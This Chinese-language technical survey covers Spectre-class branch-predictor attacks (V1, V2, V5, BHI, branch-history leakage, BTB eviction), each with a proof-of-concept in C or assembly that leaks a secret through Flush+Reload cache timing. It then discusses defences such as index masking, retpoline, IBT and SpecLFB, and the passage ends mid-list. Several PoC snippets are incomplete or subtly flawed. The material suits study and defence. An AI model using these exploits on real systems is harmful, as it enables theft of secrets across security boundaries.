分支预测攻击及原理
Spectre-V1(Intel, ARM, AMD)
- 原理(目标微结构)
- 主攻分支预测器(如 BHR/Pattern History Table),利用分支预测引起的“错误执行路径”造成敏感数据泄露。攻击者在分支预测器中训练一个条件分支,使得 CPU 在分支判断实际结果可知前,基于历史预测错误地“无条件”执行了访问敏感数据的语句,完成推测执行(执行 gadget)。
- 攻击思路要点
- 攻击者反复训练分支预测器,使其在特定输入下倾向于预测为“条件为真”。
- 受害者代码包含数据越界访问(如 array[x]),且条件分支(如 x < array_size)实际为假,但预测器被训练为常为真,于是 CPU 会推测执行越界语句 array[x],将敏感数据内容泄露到微架构(常为缓存)。
- 攻击者随后通过缓存侧信道(如 Flush+Reload)恢复秘密。
- 所需条件 / 限制
- 能影响受害者共享分支预测器状态的 CPU,通常可跨线程同核链路。
- 受害者代码需有数据越界条件分支和可利用的内存读(典型:array[x],x 可控且越界能读到秘密)。
- 受害者代码中的越界读结果可被映射到 cache side channel。
- 所需数据结构PHT/BHB。
POC举例如下
// ---------------------------------------------
// 小型 POC 展示:典型 Spectre-V1 攻击
// ---------------------------------------------
#define CACHE_HIT_THRESHOLD 80
#define ARRAY_SIZE 16
// 目标秘密
unsigned char secret = 'S';
char public_array[ARRAY_SIZE] = {0}; // 可控的数据
char probe_array[256 * 512]; // 侧信道探测数组
volatile int temp = 0;
// 受害者代码:带有越界条件分支
void victim_function(size_t x) {
if (x < ARRAY_SIZE) {
// 当 x 被特定训练后,预测器认为常为真,允许推测执行下面语句
temp &= probe_array[public_array[x] * 512];
}
}
void attack() {
int score[256] = {0};
int i, tries, mix_i;
size_t training_x, malicious_x;
unsigned int junk = 0;
malicious_x = (size_t)((char*)&secret - public_array); // 计算越界偏移
for (i = 0; i < sizeof(probe_array); i++) probe_array[i] = 1;
// 攻击循环
for (tries = 0; tries < 1000; tries++) {
// 1. Flush probe_array
for (i = 0; i < 256; i++) _mm_clflush(&probe_array[i * 512]);
// 2. 分支预测器训练(内循环前 N-1 次,x 为合法,最后1次为恶意越界)
for (int j = 29; j >= 0; j--) {
training_x = j % ARRAY_SIZE;
size_t x;
// 最后一次为越界恶意访问
x = (j == 0) ? malicious_x : training_x;
_mm_clflush(&ARRAY_SIZE); // 清理 array_size,让分支需要从内存加载(制造延迟)
victim_function(x); // 训练/攻击执行
}
// 3. 测试 probe_array 命中
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
uint8_t *addr = &probe_array[mix_i * 512];
uint64_t t1 = __rdtscp(&junk);
volatile uint8_t tmp = *addr;
uint64_t t2 = __rdtscp(&junk) - t1;
if (t2 <= CACHE_HIT_THRESHOLD) score[mix_i]++;
}
}
// 4. 输出分数最高的两个字符
int max = -1, runner_up = -1;
for (i = 0; i < 256; i++) {
if (max < 0 || score[i] > score[max]) {
runner_up = max; max = i;
} else if (runner_up < 0 || score[i] > score[runner_up]) {
runner_up = i;
}
}
printf("推测结果: '%c' (score=%d), 次优: '%c' (score=%d)\n",
(char)max, score[max], (char)runner_up, score[runner_up]);
}
int main() {
printf("Spectre V1 POC Demo starting...\n");
printf("Target Secret: %c\n", secret);
attack();
return 0;
}
Spectre-V2(Intel,ARM,AMD)
- 原理(目标微结构)
- 主攻 BTB(以及与之相关的分支目标预测逻辑)和分支历史表。通过在攻击者上下文中“训练”预测器,使得当受害者执行间接分支(indirect call/jmp)时,预测器会预测到攻击者指定的目标地址,从而让 CPU 在受害者上下文中短暂地在该目标上进行推测执行(执行 gadget)。
- 攻击思路要点
- 在同一物理核心上反复执行与受害者相近的分支历史序列,但把最后的目标地址指向攻击者准备的 gadget 地址(或映射出的等价虚拟地址低位)。
- 当受害者执行对应间接分支且分支解析遇延迟时(例如缓存未命中),CPU 会根据此前训练的 BTB 预测目标,于是会在受害者上下文上执行 gadget 的指令并产生微架构副作用(通常是缓存线被加载)。
- 攻击者随后用缓存侧信道或计时侧信道恢复秘密。
- 所需条件 / 限制
- 能在与受害者共享相同分支预测状态的 CPU 执行训练(通常需在同一物理核上);跨核通常无效。
- 受害者地址空间中存在可执行 gadget(共享库、系统 DLL、内核/微码等)。
- 受害者的间接分支位置在预测时存在延迟(足够时间执行 gadget 指令)。
- 所需数据结构BTB
POC举例如下
// --------------------------------------------------------------------------------
// Gadget: 恶意的代码片段,训练时使用
// --------------------------------------------------------------------------------
void gadget(char *addr) {
// 关键点:这里的 *addr 是读取敏感数据
// 然后将其乘以 512 映射到 probe_array 的特定页
temp &= probe_array[(*addr) * 512];
}
// 间接跳转的“正确”目标,探测时使用
void safe_function(char *addr) {
// 随便做点无关紧要的事,或者空着
(void)addr;
}
typedef void (*target_func_t)(char *);
// 参数 target: 这是一个指针,指向下一条要执行的函数
// 参数 data: 传递给函数的数据
void victim_function(target_func_t target, char *data) {
// [关键点]:这是一个间接调用 (Indirect Call)
// 汇编层面是:call *%rdi (或者类似寄存器)
// CPU 必须从内存中读取 target 的值才能知道跳去哪。
// 如果 target 不在 Cache 中,CPU 就会查 BTB 进行推测。
target(data);
}
void attack() {
int i, j, k;
int mix_i;
volatile uint8_t *addr;
size_t malicious_x = (size_t)(secret - (char *)probe_array); // 这里的计算仅为演示,实际传入真实地址
int score[256] = {0}; // 统计每个字符命中缓存的次数
for (i = 0; i < sizeof(probe_array); i++)
probe_array[i] = 1;
// 开始攻击循环:尝试推测每一个字符
for (int tries = 0; tries < 1000; tries++) { // 尝试 1000 次以消除噪音
// Step 1: 刷新探测数组 (Flush Probe Array)
// 把 probe_array 从 CPU Cache 中清除,为了后续测量读取时间
for (i = 0; i < 256; i++)
_mm_clflush(&probe_array[i * 512]);
// Step 2: 训练 BTB (Train the BTB)
// *在 POC 中*:我们可以直接传入 gadget 进行训练(模拟攻击者污染了 BTB)。
// *在真实攻击中*:攻击者在自己的进程里,在相同的虚拟地址执行跳转到 gadget 的指令。
target_func_t trained_target = gadget;
target_func_t true_target = safe_function;
// 5次训练 + 1次攻击
for (j = 0; j < 6; j++) {
target_func_t current_target;
char *current_data;
if (j % 6 == 5) {
// 【攻击回合】
// 此时 CPU 的 BTB 已经被前 5 次训练成了 "去 gadget"
// 但我们要传入 true_target,让 CPU 发现自己判断依据不在 Cache 里
current_target = true_target;
current_data = (char*)secret; // 我们想窃取这个地址的数据
} else {
// 【训练回合】
current_target = trained_target;
current_data = (char*)&temp; // 随便给个无害地址
}
// Step 3: 制造“推测窗口” (Create Speculative Window)
// 我们必须把 current_target 这个变量从 Cache 中清除
// 这样 CPU 必须去内存读 current_target 的值(很慢),
// 在等待期间,它会根据 BTB(刚才被我们训练成 gadget 了)推测执行 gadget。
_mm_clflush(¤t_target);
// 这里的 current_target 虽然被 flush 了,但作为参数传递可能有寄存器缓存,实际攻击需注意
victim_function(current_target, current_data);
}
// Step 4: 测量时间 (Flush + Reload)
// 扫描 256 个可能的字符
for (i = 0; i < 256; i++) {
int mix_i = ((i * 167) + 13) & 255; // 乱序读取防止步进预测
addr = &probe_array[mix_i * 512];
unsigned int junk = 0;
uint64_t t1 = __rdtscp(&junk); // 读取时间戳
volatile uint8_t tmp = *addr; // 访问内存
uint64_t t2 = __rdtscp(&junk) - t1; // 计算耗时
// 如果时间很短(< 80 cycles),说明在 Cache 里
if (t2 <= 80 && mix_i != 0) { // 排除0因为可能是未初始化的干扰
score[mix_i]++;
}
}
}
// Step 5: 输出结果
int max = -1, runner_up = -1;
for (i = 0; i < 256; i++) {
if (max < 0 || score[i] > score[max]) {
runner_up = max;
max = i;
} else if (runner_up < 0 || score[i] > score[runner_up]) {
runner_up = i;
}
}
printf("推测结果: '%c' (score=%d), 次优: '%c' (score=%d)\n",
(char)max, score[max], (char)runner_up, score[runner_up]);
}
int main() {
printf("Spectre V2 POC Demo starting...\n");
printf("Target Secret: %s\n", secret);
attack();
return 0;
}
Spectre-V5(Intel)
- 原理(目标微结构)
- 针对 RSB(Return Stack Buffer )或与 return 预测有关的逻辑。RSB 用于预测函数 return 的目标(通过记录 call 的返回地址)。攻击者通过污染或诱导 RSB 下溢/错误内容,使 CPU 在执行 return 时预测到攻击者希望的虚拟地址,从而在受害者上下文触发 gadget 的推测执行。
- 攻击思路要点
- RSB 通常为有限深度的循环结构;当 RSB 下溢(例如深度不匹配或经过某些控制流)时,不同微架构会有不同回退策略(有些回退到 BTB)。攻击者利用这些回退行为或直接污染 RSB 的内容来控制返回的预测目标。
- 攻击方式包括:通过在攻击者线程构造类似的 call/return 历史写入 RSB,或在上下文切换时让 RSB 下溢并使预测器回退到可控模式,从而影响 victim 的 return 预测。
- 所需条件 / 限制
- 同样需要在与受害者共享 RSB 的执行上下文上运行(同核、超线程或顺序执行时留下 RSB 状态)。
- 目标 gadget 必须在受害者可执行的地址空间中。
- 不同 CPU 对 RSB 下溢的处理不同(有的用 BTB 回退),所以攻击效果依赖于具体微架构与微码。
- 所需数据结构RSB
POC示例,gadget手动清理栈帧,使得RSB上的返回地址与实际软件栈中的返回地址不匹配
void gadget() {
__asm__ volatile (
"push %%rbp\n" // 保存栈基址
"mov %%rsp, %%rbp\n" // 设置当前栈基址
"pop %%rdi\n" // 移除栈中当前函数的返回地址(从 gadget 到 speculative)
"pop %%rdi\n" // 清理rbp
"pop %%rdi\n" // 更改返回地址为父函数返回地址(从 speculative 到 main)
"clflush (%%rsp)\n" // 刷新栈顶地址到内存,延长投机执行窗口
"cpuid\n" // 序列化指令,确保 clflush 执行完成
"pop %%rbp\n" // 同步修改栈底
"retq\n" // 触发投机执行:RSB 预测返回地址为 speculative 的第17行,但实际返回地址为main函数中的loop
: : : "memory", "rdi", "rbp");
}
投机执行函数中,按正常流程,将只执行第一条代码
// 投机执行函数:包含泄露敏感数据的 payload
void speculative(uint8_t* secret_ptr) {
gadget(); // 调用 gadget 修改软件栈,制造地址不匹配
// 后续不该被执行,但RSB预测会执行到此处
uint8_t temp;
uint8_t secret = *secret_ptr; // 投机读取敏感数据(正常执行时会被撤销)
temp &= Array[secret * 64];
(void)temp;
}
下面给出调用此函数的攻击流程
// Flush+Reload 侧信道测量:检测缓存命中(泄露敏感数据)
uint8_t leak_data() {
uint8_t result = 0;
uint64_t min_time = UINT64_MAX;
uint64_t start, end;
// 1. 预先刷新 Array 所有缓存行
for (int i = 0; i < ARRAY_SIZE; i++) {
_mm_clflush(&Array[i * 64]);
}
// 2. 触发攻击:调用 speculative 函数,触发投机执行
speculative(secret_ptr);
// 3. 测量每个缓存行的访问时间:命中则时间短(对应泄露的 secret 值)
for (int i = 0; i < ARRAY_SIZE; i++) {
start = _rdtscp(&result); // 开始计时(序列化指令)
(void)Array[i * 64]; // 访问目标缓存行
end = _rdtscp(&result); // 结束计时
_mm_clflush(&Array[i * 64]);// 再次刷新,避免干扰下次测量
if (end - start < min_time) {
min_time = end - start;
result = (uint8_t)i; // 缓存命中的索引即为泄露的 secret 值
}
}
return result;
}
BHI(Intel,ARM)
- 原理(目标微结构)
- 目标是分支历史缓冲(BHB)或模式历史表(BHT/PHT):这些结构存储了先前分支的“taken/not-taken”历史或以分支地址/历史为索引的预测器状态。通过注入(设置)特定的历史位或历史序列,攻击者改变后续分支的预测决策,从而间接影响推测执行路径。
- 攻击思路要点
- 与 BTB 污染不同,BHI 利用分支行为(分支是否 taken)历史序列作为输入来影响预测。攻击者在同核上执行与受害者相同或相似的历史序列以“写入”历史状态。
- 通过控制历史位,攻击者能把受害者的条件分支预测为 taken 或 not‑taken,使受害者短暂执行某个推测分支(gadget)或跳过它。
- 所需条件 / 限制
- 需要能在同核上通过一系列条件分支运行来建立期望的历史位模式。
- 成功的映射依赖于预测器如何索引历史(有的用最近若干分支的目标地址低位与方向位混合)。不同 CPU 将影响训练的复杂程度(需要逆向/试探定位哪些位有用)。
- 所需数据结构Global BHB
Ps:看似与V1的攻击方式相像,实则原理不一样。该攻击手段是针对现有V2防护的盲点。通过执行一系列给定的预测序列,来覆盖现有的BHB,从而引导下一分支的方向预测
存在变体:BPI(分支特权注入),原理差不多,区别主要在于受害者的权限状态
POC示例:污染函数通过一系列的分支判断,将BHB覆盖为指定01序列,
void poison_bhb_xor(uint8_t* history, int bits) {
for (int i = 0; i < bits; i++) {
// volatile防止编译器优化掉分支
volatile int branch = history[i];
if (branch) {
asm volatile("":::"memory"); // dummy分支,或插入其它行为
} else {
asm volatile("":::"memory");
}
}
}
受害者函数调用
void victim_gadget(size_t idx, void *target_func) {
uintptr_t pc = (uintptr_t)target_func; // 实际攻击需精细控制目标分支地址
// 通过前期训练,使得此处BHB预测倾向为true
if (idx < PROBE_SIZE) {
uint8_t value = secret;
probe_array[value * PAGE_SIZE] += 1;
}
}
主攻击流程
int main() {
// 1. 保证攻击者和victim运行在同核
pin_to_core(cpu_core);
// 2. 动态或逆向/经验选择分支历史序列
// 假定gshare预测, PC XOR GHR能落到chosen PHT entry(可动态fuzz或测量得最佳history)
uint8_t best_history[8] = {1,0,1,1,0,1,0,1}; // 仅为示例,实际需针对平台和PC调整
poison_bhb_xor(best_history, 8);
// 3. 清cache
flush_cache();
// 4. 受害者越界访问,实际应不进入if
victim_gadget(SECRET + 1000, &victim_gadget);
// 5. 侧信道恢复secret
int leak = reload_cache();
printf("Leaked secret=%d (expect %d)\n", leak, secret);
return 0;
}
分支历史利用(Intel,ARM)
- 原理(目标微结构)
- 这里的重点是“读取/推断”别的上下文或线程留下的分支历史状态(BHB/BHT/BPI 等),而不是仅仅注入。通过测量某些分支在预测器中的行为(如 misprediction 率或侧信道触发),可将分支方向/分支目标等历史信息作为泄露通道。
- 攻击思路要点
- 利用预测器对历史敏感的性质,将其作为 oracle:对不同的历史位组合,训练-探测循环可以让攻击者判别目标上下文某些分支是否 taken,从而泄露分支相关秘密(例如条件分支是否走某路径代表一个 secret 位)。
- 攻击者并不一定要把预测器导向 gadget 并触发推测执行;相反,他们可以通过对预测器进行测试性冲突并观测 misprediction 发生与否来推断被测历史信息。
- 所需条件 / 限制
- 能在与受害者共享预测器结构的上下文观察/测量预测器输出(通常需要同核)。
- 需要一个精妙的 probe 流程,以便把预测行为的差异映射成可测到的现象(缓存访问、时间差、错误率等)。
- 所需数据结构BHB/PHT
Ps:与BHI还是有区别的,BHI是通过注入强制改变下一个条件分支的走向,而该攻击则是通过对预测历史的推测来获得隐藏信息
POC示例:victim被推测先前行为
void victim_branch(uint8_t secret_bit) {
// 这里的分支结果(taken or not-taken)将进入BHB/GHR最低位
if (secret_bit) {
asm volatile("" ::: "memory"); // taken path
} else {
asm volatile("" ::: "memory"); // not-taken path
}
}
attacker用于泄露victim的上一次分支结果
// ---------- 攻击者:只做一次分支probe ----------
uint8_t attacker_probe_once() {
// 先清理cache,确保没有缓存干扰
_mm_clflush(&probe[PAGE_SIZE]);
// probe分支,其预测受BHB最低位(即刚才victim的secret_bit)影响
unsigned int aux;
uint64_t t0 = __rdtscp(&aux);
if (0) { // 固定分支,分支预测行为依赖之前的BHB历史
volatile uint8_t x = probe[PAGE_SIZE];
}
uint64_t t1 = __rdtscp(&aux);
// 低延迟:预测失误(mis-predicted);高延迟:预测准确
return (t1 - t0 < 200) ? 1 : 0; // 阈值“200”依平台可微调
}
主攻击流程,进行多次的攻击,防止偏差,通过预测成功的概率来判断secret为0/1
int main() {
int N = 1000; // 实验轮数
for (int sb = 0; sb <= 1; sb++) {
int count_1 = 0;
int count_0 = 0;
for (int i = 0; i < N; ++i) {
victim_branch(sb); // 受害者用secret_bit污染分支历史
uint8_t guess = attacker_probe_once(); // 攻击者probe预测
if (guess == 1) count_1++; // probe命中低延迟
else count_0++;
// 选做:可在两步之间插入N条无关分支语句(避免干扰)
}
printf("For secret_bit=%d: judge=1 (fast) = %d, judge=0 (slow) = %d\n",
sb, count_1, count_0);
}
return 0;
}
BSE(ARM)
- 原理(目标微结构)
- 利用 BPU 的 “无偏分支预测” 特性,通过 BST(分支状态表)驱逐间接操纵 BHB(分支历史缓冲区),制造 BTB 索引碰撞,诱导目标分支恶意误预测的 Spectre 变体攻击。
- 攻击思路要点
- 通过地址别名(使不同虚拟地址映射到 predictor 的同一索引/桶)或通过大量多样化的分支历史来耗尽 predictor 条目。
- 驱逐后,预测器可能使用次优的默认策略(例如回退到 BTB 或误判),这会增加受害者在某些分支处的 misprediction 概率或令预测器表现出可被攻击者利用的可预测行为。
- 所需条件 / 限制
- 能在同核上执行大量分支以“刷”预测器。
- 成功依赖于预测器的容量与索引/哈希方式;不同 CPU 需要不同规模的“填充”工作量。
- 可能需要与 BHI/BPI 等方法结合以实现具体的目标(例如先驱逐再注入)。
- 所需数据结构BTB
Ps:该漏洞通常与注入攻击结合,先将BHB变得可控,后续再注入我们的指定序列,控制分支预测趋向
POC:原理很简单,就是调用大量无意义函数
#include <stdio.h>
#include <stdint.h>
#include <x86intrin.h>
#define NUM_EVICTORS 256 // 你可以根据CPU实际BTB大小设为256~4096等大规模
// 利用宏批量生成多个不同分支
#define DEFINE_EVICTOR(i) \
void evictor_##i() { asm volatile("" ::: "memory"); }
#define EVICTOR_PTR(i) evictor_##i
// 1. 声明全部分支
#define GEN_EVICTORS(N) \
GEN_EVICTORS_IMPL(N)
#define GEN_EVICTORS_IMPL(N) \
GEN_EVICTORS1(N)
#define GEN_EVICTORS1(N) \
EVICTOR_BODY(0) EVICTOR_BODY(1) EVICTOR_BODY(2) EVICTOR_BODY(3) \
EVICTOR_BODY(4) EVICTOR_BODY(5) EVICTOR_BODY(6) EVICTOR_BODY(7) \
EVICTOR_BODY(8) EVICTOR_BODY(9) EVICTOR_BODY(10) EVICTOR_BODY(11) \
EVICTOR_BODY(12) EVICTOR_BODY(13) EVICTOR_BODY(14) EVICTOR_BODY(15) \
EVICTOR_BODY(16) EVICTOR_BODY(17) EVICTOR_BODY(18) EVICTOR_BODY(19) \
EVICTOR_BODY(20) EVICTOR_BODY(21) EVICTOR_BODY(22) EVICTOR_BODY(23) \
EVICTOR_BODY(24) EVICTOR_BODY(25) EVICTOR_BODY(26) EVICTOR_BODY(27) \
EVICTOR_BODY(28) EVICTOR_BODY(29) EVICTOR_BODY(30) EVICTOR_BODY(31) \
/* ... 按照NUM_EVICTORS向上添加宏展开 ... */
#define EVICTOR_BODY(i) DEFINE_EVICTOR(i)
GEN_EVICTORS(NUM_EVICTORS)
// 2. 构造指针数组,循环调用
void (*evictors[NUM_EVICTORS])() = {
EVICTOR_PTR(0), EVICTOR_PTR(1), EVICTOR_PTR(2), EVICTOR_PTR(3),
EVICTOR_PTR(4), EVICTOR_PTR(5), EVICTOR_PTR(6), EVICTOR_PTR(7),
EVICTOR_PTR(8), EVICTOR_PTR(9), EVICTOR_PTR(10), EVICTOR_PTR(11),
EVICTOR_PTR(12), EVICTOR_PTR(13), EVICTOR_PTR(14), EVICTOR_PTR(15),
EVICTOR_PTR(16), EVICTOR_PTR(17), EVICTOR_PTR(18), EVICTOR_PTR(19),
EVICTOR_PTR(20), EVICTOR_PTR(21), EVICTOR_PTR(22), EVICTOR_PTR(23),
EVICTOR_PTR(24), EVICTOR_PTR(25), EVICTOR_PTR(26), EVICTOR_PTR(27),
EVICTOR_PTR(28), EVICTOR_PTR(29), EVICTOR_PTR(30), EVICTOR_PTR(31),
// ... 按照NUM_EVICTORS向上继续添加 ...
};
__attribute__((noinline))
void target_branch() { asm volatile("" ::: "memory"); }
uint64_t measure_branch_predict(void (*func)()) {
unsigned int aux;
uint64_t t1 = __rdtscp(&aux);
func();
uint64_t t2 = __rdtscp(&aux);
return t2 - t1;
}
int main() {
// 1. 训练: 目标分支进入预测器
for (int i = 0; i < 20; ++i) target_branch();
uint64_t t_hit = 0;
for (int i = 0; i < 10; ++i) t_hit += measure_branch_predict(target_branch);
t_hit /= 10;
printf("[Before Evict] Target branch predict avg cycles: %lu\n", t_hit);
// 2. 使用大量不同分支刷爆 BTB
for (int j = 0; j < 5; ++j) { // 多轮确保evict更彻底
for (int i = 0; i < NUM_EVICTORS; ++i) {
evictors[i]();
}
}
uint64_t t_miss = 0;
for (int i = 0; i < 10; ++i) t_miss += measure_branch_predict(target_branch);
t_miss /= 10;
printf("[After Evict ] Target branch predict avg cycles: %lu\n", t_miss);
return 0;
}
现有防护方法
前置:关于三元式与条件分支区别的探讨
在一般设想中, 诸如此类的三元式: uint32_t mask = (idx < ARRAY_SIZE) ? 0xFFFFFFFF : 0x0;。通常被认定为与条件分支语句 if (idx < ARRAY_SIZE){}有着相同的底层实现。事实上,在riscv64-linux-gnu的编译链下,若未经过优化,事实也与我们所想的一样,示例C源代码如下:
#include <stdio.h>
#include <stdlib.h>
int foo(int x) {
int ret= (x > 10) ? 0x1234 : 0x5678;
return ret;
}
int pro(int x){
int ret;
if(x > 10){
ret = 0x1234;
}
else ret = 0x5678;
return ret;
}
int main() {
int y = foo(rand()); // 编译器无法在编译时确认
int z = pro(rand());
printf("%d\n", y);
return 0;
}
看到此时定义了两个函数,其内部逻辑实际一致,但分别使用了三元式和条件分支的形式来实现,对此段代码进行编译并反汇编查看具体汇编代码
riscv64-linux-gnu-gcc hello.c -o Yssx_hello -O3
riscv64-linux-gnu-objdump Yssx_hello -d
有汇编实现如下图

可以看到,事实上foo与pro在底层汇编代码上的实现是一致的,都利用到了条件跳转语句。但是为什么我们后续设想的Masking方案却依然可以实现呢?难道不担心在三元式处会出现新的分支预测吗?
事实上,我们可以将此处代码中的三元式替换为掩码方案中的三元式 int ret= (x > 10) ? 0xFFFFFFFF : 0x0;
此时,我们再对该段代码进行汇编分析(O2与O3优化后汇编一致)

可以发现,原先的条件分支语句已经被替换为了简单的数值比较与逻辑运算(这是由于0xFFFFFFFF与0x0比较工整,可以方便的使用逻辑运算得到)

O1优化下通过取负后符号扩展,也未涉及条件分支

若不开启优化,则三元式依旧会存在条件跳转指令如bge
综上,在开启编译器任一优化的前提下,类似 int ret= (x > 10) ? 0xFFFFFFFF : 0x0;的 三元式均无条件分支指令,无分支预测,因此Masking方案有效
Index Masking
简单地对索引进行掩码操作,从软件层次上强制地将索引规定在合法区间中,示例如下:
//--- 原始,易受投机越界攻击的写法 ---
if (idx < ARRAY_SIZE) {
secret = array[idx];
}
//--- Index Masking 防护(最常见的掩码写法)---
//要想得到真正的idx,必须强制等待mask值,从而保证等待idx<ARRAY_SIZE的判断执行完毕
uint32_t mask = (idx < ARRAY_SIZE) ? 0xFFFFFFFF : 0x0; // 若越界则mask=0
idx = idx & mask; // 越界时idx强制为0
secret = array[idx]; // 任意路径下都不会发生越界读取!
如果idx>ARRAY_SIZE,idx便会被强制变为0,从而杜绝掉投机执行过程中的越界操作
Pointer Poisoning
与Index Masking类似,同样是通过掩码形式,对函数指针也进行了三元式判别操作,从而保证投机执行下,不可能访问到未知的危险指针
//--- cond为受害者进程中的某一条件判断 ---
void (*func)(int);
void fallback(int x) { /* dump */ }
void real_impl(int x) { /* secret op */ }
if (cond)
func = real_impl;
else
func = fallback;
// ---- Pointer Poisoning: 用mask保护指针 ----
uintptr_t valid_mask = cond ? ~(uintptr_t)0 : (uintptr_t)0; // 条件假时指针全零/无效
func = (void *)((uintptr_t)func & valid_mask);
func(123); // 投机执行下,func为0时不会跳到real_impl,只能默认回到NULL或trap分支
同理,cond为false时,为避免投机执行,使用掩码将指针置为NULL,从而无法跳转到real_impl
Retpoline(隔离)
(在软件层面上无法阻止投机执行,那么不妨考虑以毒攻毒。既然Spectre变体2攻击能够做到分支目标注入进而控制跳转目标的地址,那防御手段也可以利用同样的做法控制跳转目标的地址,以阻断恶意代码的攻击路径。Retpoline设计者希望使用ret间接跳转并借助RSB预测器来控制投机执行,从而阻断Spectre变体2的攻击路径。上述设计被称为Indirect branch/call thunk。)
采用巧妙的“返回跳板”来替代所有间接jmp/call ,防止分支目标预测被攻击者控制。
每次CPU在快执行间接跳转的时候,比如jmp [xxx], call, 会去询问indirect branch predictor,然后投机选择一个最有可能执行的路径。retpoline就是要绕过这个indirect branch predictor,使得CPU没有办法利用其它人故意训练出来的分支路径。
ret依赖于Return Stack Buffer(RSB)。首先我们应该了解RSB这个结构,它是用于投机执行间接分支跳转的重要组件:每当call的时候,RSB和物理栈同步压入返回地址,遇到ret时,先投机执行RSB栈顶的返回;等到真实ret地址从内存中取出时与其比对,若投机错误回退,当物理栈的ret真正commit时,RSB栈才会同步pop出栈顶地址,确保RSB与物理栈的对应(投机过程中RSB不会pop元素)
替代示例:
; ------ 原始间接跳转(易受投机攻击)------
; mov %r11, %rax
; call *%rax
; 这会用BTB做预测,容易被Spectre V2污染
; ------ Retpoline替换实现 ------
; 目标:安全地跳转到%r11,而不让BTB被攻击者控制
; 步骤:
call set_up_trampoline ; [1] 正常call跳入trampoline
; call自动把下一条指令的地址压入真实栈和RSB
; RSB随后为ret提供正确返回目标
set_up_trampoline:
mov %r11, (%rsp) ; [2] 用你要跳转的目标地址覆写栈顶(call时刚刚压进去的返回地址)
; 注意:只有真实commit/execution才会“落地修改”!
ret ; [3] ret从栈(已经被mov改写)弹出目标 -> 跳转到%r11
; commit时才pop,安全跳转
; 投机期则ret永远预测跳回本函数的mov这一行(由RSB控制)
trap_loop: ; [4] trap loop是保险兜底,不会被常规流程执行
pause
jmp trap_loop
Return stack预测器在RSB被恶意代码故意耗尽导致发生return stack下溢的情况下是可能会被攻击的。既然如此,Retpoline又额外设计了Return stack refill修复方案。该方案的具体做法就是在可能成为攻击路径的关键位置上对RSB进行填充,确保不会因发生return stack下溢而给后续执行的victim代码留下潜在的被攻击的风险。
充填RSB:
mov $8, %rax; // 循环8次,每次充填2项
.align 16
3:
call 4f // 充填一项
3p:
pause // 当投机执行会被引入一个无限pause循环
call 3p
.align 16
4:
call 5f // 再充填一项
4p:
pause
call 4p
.align 16
5:
dec %rax
jnz 3b
add $(16*8), %rsp // 调整栈顶指针
因为重填的RSB项可能会被攻击者“消耗”掉一部分,并有可能被恶意利用,为了不能给攻击者留下任何把柄,RSB中项的目标地址必须要谨慎构造。为了确保万无一失,这里使用了与indirect thunk同样的技巧,将投机执行引入一个无限循环的循环中。
IBT
间接分支追踪(Indirect Branch Tracking,IBT) 是 Intel Control-flow Enforcement Technology (CET) 的核心组件之一,旨在加强程序的控制流保护,防止恶意代码通过控制流劫持技术(如 ROP(Return-Oriented Programming) 或 JOP(Jump-Oriented Programming))来绕过安全机制,执行恶意行为。
间接分支追踪(IBT)通过硬件保护措施,确保所有间接分支的目标地址是合法的,从而防止攻击者通过修改这些目标地址来劫持程序执行。
具体来说,IBT 通过以下几种方式来增强程序的安全性:
1.合法目标地址限制:
- IBT 强制所有间接跳转必须跳转到合法的目标地址。合法目标通常是预定义的,例如位于程序代码段或其他指定的安全区域。
- 如果间接跳转的目标地址不是合法的,硬件会触发异常,从而阻止程序继续执行恶意代码。
2.间接分支目标的验证:
- 在执行间接分支时,硬件会检查该跳转的目标地址是否符合预设的规则。具体来说,间接跳转的目标必须位于一个“可信的”代码区域,否则会触发异常。
3.跳转目标表:
- IBT 依赖于跳转目标表(例如,函数指针、虚拟表指针等)来验证目标地址是否合法。跳转表会被标记为“可追踪”,并且只有合法的目标可以存在于这个表中。
SpecLFB
核心逻辑:仅限制 “导致缓存缺失的不安全投机加载(MUSL)”,通过 LFB 安全检查阻止其修改缓存,验证安全后再刷新缓存。
- 目标:消除由“投机加载导致的缓存写入(cache-fill)”所构成的主要 Spectre/Transient‑Execution 缓存侧信道。即:防止任何“未被验证的(speculative/unsafe)加载”把数据写入上层可被其它上下文观测到的缓存层(L1/L2/LLC),直到该加载被确认为 non‑speculative / safe。
- 受保护对象(Threat):所有可能在推测路径上读取敏感数据并通过 cache 层引起可测副作用的 load(尤其 cache‑miss 导致的 refill)。
- 假设/边界:
- 我们不尝试一次性阻断所有微架构泄露(如端口争用、TLB 条目、DRAM-row effects 等),但尽力把最常用且易被利用的“cache-fill”通道切断或延迟。
- 该方案是硬件特性,需要在 CPU 的 LFB(Line Fill Buffer / fill buffer)与 ROB(Reorder Buffer)之间协作。
只针对会产生可观测缓存插入的“Memory-Unsafe Speculative Loads(MUSL)”,避免对所有投机加载一刀切导致大幅性能降损。
同时一旦投机被验证为“safe”(例如分支被确认、store‑load 依赖解决、值预测验证),立即允许写回以减少延迟。
具体操作为:
- 新增/扩展模块:
- ROB Unsafe Mask Vector(与 ROB 一一对应的位向量):每个 ROB 条目附带一个 unsafe bit(1=可能导致 MUSL、需延迟写回;0=safe)。
- LFB 扩展:LFB 条目包含 ROB 指针/索引(或 ROB id)、状态位(valid、data_ready、safe_ready)以及 writeback gating 控制。
- LFB → Cache 写回控制逻辑:在 refill 完成后,仅当对应 ROB unsafe bit == 0(或 ROB 已 retired)时才执行 cache writeback;否则保留在 LFB。
- Backpressure / Stall Controller:当 LFB 条目达到阈值时,对 dispatch/issue 做节流,防止资源耗尽。
- 流程(简述):
- CPU 发出 load;若 miss,则 LFB 发起 refill request 到下层(L2/LLC/memory)。
- 当 refill 返回数据,LFB 创建/更新条目并尝试写回 L1。
- 写回前,LFB 查询 ROB unsafe mask:
- 若 safe(bit==0 或 retired),写回并完成 load;
- 若 unsafe(bit==1),则延迟写回并保持 LFB 条目直至该 bit clear或 ROB 重命中/ retirement。
- 若 ROB/指令被 squash,LFB 丢弃对应条目。
位管理策略:
unsafe bit == 1
- load 的控制流未解析(依赖于一个条件/indirect branch whose target/direction not yet resolved);
- load 地址计算依赖于未确认的 store(store‑buffer 地址未确定或 store 在 ROB 前仍未 retired);
- 加载地址/权限来自未验证的来源(如 speculative value predictor 或从用户输入直接映射到地址);
- 访问的是共享内存(可选策略,若想限制共享内存泄露更严格可一律 treat shared loads as MUSL);
- 访问可能触发异常(如可能的 page fault/permission fault):将其视为 MUSL 直到异常处理确定(实现更保守但安全)。
unsafe bit == 0
- 控制流验证:相关的 branch resolved 且 prediction == actual;
